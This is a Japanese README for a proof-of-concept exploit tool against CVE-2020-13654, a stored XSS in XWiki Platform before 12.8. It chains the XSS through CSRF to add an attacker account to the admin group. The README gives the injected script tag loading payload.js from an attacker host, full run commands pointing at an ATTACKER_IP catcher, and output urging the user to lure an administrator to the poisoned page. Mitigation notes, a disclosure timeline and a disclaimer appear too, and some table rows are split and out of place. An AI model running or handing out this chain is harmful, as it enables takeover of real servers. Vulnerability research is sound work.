
CVE-2020-13654 - XWiki Platform < 12.8 - 保存型XSS → CSRF → アカウント乗っ取り
発見・報告者: Astaruf
詳細記事: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform のバージョン 12.8 より前では、プロファイルエディタにおいてユーザー制御のフィールドにHTMLエンコードが適用されません。調査で確認された影響を受けるフィールドは "Company" ( 編集 → 個人情報 内) ですが、他のプロファイルフィールドも同じコードパスを共有しています。
プロファイルページがレンダリングされると、保存されたフィールド値は $escapetool.xml() や同等のエスケープ処理を呼び出さずにそのままHTMLに出力されます。新しく自己登録したアカウントを含む任意の認証済みアカウントを持つ攻撃者は、任意のHTML/JavaScriptを保存でき、管理者を含むプロファイルを訪問するすべてのユーザーのブラウザで永続的に実行されます。
影響を受けるVelocityテンプレートにおける根本原因:
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")
## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| フィールド | 値 |
|---|---|
| 製品 | XWiki Platform |
| 影響を受けるバージョン | < 12.8 |
| 修正バージョン | 12.8 |
| CVSSv3スコア | 7.5 (High) |
| CWE |
このPoCはゼロクリック権限昇格チェーンを示します。
Low-privilege attacker account
│
├─ stores <script src="http://attacker/payload.js"> in Company field
▼
XWiki profile page (poisoned)
│
├─ admin navigates to the page (e.g. via user list or support ticket)
▼
Payload executes in admin browser session
│
├─ fetches /bin/view/XWiki/XWikiAdminGroup → extracts CSRF token
├─ POSTs form_token + xpage=adduorg + name=attacker → adds attacker to XWikiAdminGroup
│
▼
Attacker now has full admin access
管理者の操作は、1回のページ訪問以外は必要ありません。
poc.py は自己完結型のエクスプロイトスクリプトです。これは次のことを行います:
CompanyプロファイルフィールドにXSSペイロードを注入します(他の既存フィールド値は保持します)。/payload.js) を提供し、着信ビーコンを記録する統合HTTPサーバーを起動します。管理者がURLにアクセスすると、保存された <script src="..."> タグが攻撃者のサーバーから payload.js を読み込みます。ペイロードは管理者の認証済みブラウザコンテキストで実行され、攻撃者のアカウントを XWikiAdminGroup に静かに追加し、結果をビーコンで送り返します。
pip install -r requirements.txt
自己登録の場合(既存アカウント不要):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
既存の低権限アカウントの場合:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
[*] Registering account 'hacker' ...
✅ Registration successful.
[*] Authenticating as 'hacker' ...
✅ Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅ Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅ Payload confirmed in page source.
════════════════════════════════════════════════════════════
EXPLOIT ARMED — WAITING FOR VICTIM
Share this URL with (or wait for) an administrator to visit:
>>> http://TARGET:8080/bin/view/XWiki/hacker
When triggered, the attacker account 'hacker'
will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
XWiki Platform ≥ 12.8 にアップグレードしてください。
修正では、レンダリング前にすべてのユーザー制御プロファイルフィールドに $escapetool.xml() を適用し、生のHTML/JavaScriptの注入を防ぎます。
即時アップグレードが不可能な場合は、XWikiのアクセス権管理を通じて自己登録を制限し、プロファイルの可視性を信頼できるユーザーに限定してください。
| 日付 | イベント |
|---|---|
| 2020年5月 |
このリポジトリは教育および許可されたセキュリティ研究目的のみで提供されています。
所有していない、または明示的な書面によるテスト許可がないシステムに対しては使用しないでください。
著者は悪用に対する一切の責任を負いません。
| CWE-116 — 出力の不適切なエンコードまたはエスケープ |
| 引数 | 必須 | 説明 |
|---|
--target | ✅ | XWikiベースURL |
--catcher | ✅ | 攻撃者が制御するURL(payload.jsの提供とビーコン収集に使用) |
--username | ✅ | 攻撃者アカウントのユーザー名 |
--password | ✅ | 攻撃者アカウントのパスワード |
--register | ✗ | エクスプロイト前にアカウントを自動登録 |
--first-name | --register の場合 | 登録時の名 |
--last-name | --register の場合 | 登録時の姓 |
--email | --register の場合 | 登録時のメールアドレス |
| 脆弱性を発見 |
| 2020年5月 | XWikiセキュリティチームに報告 |
| 2020年7月 | XWiki Platform 12.8で修正 |
| 2020年11月 | MITREによりCVE-2020-13654割り当て |
| 2020年12月30日 | 公開開示 — nstsec.com |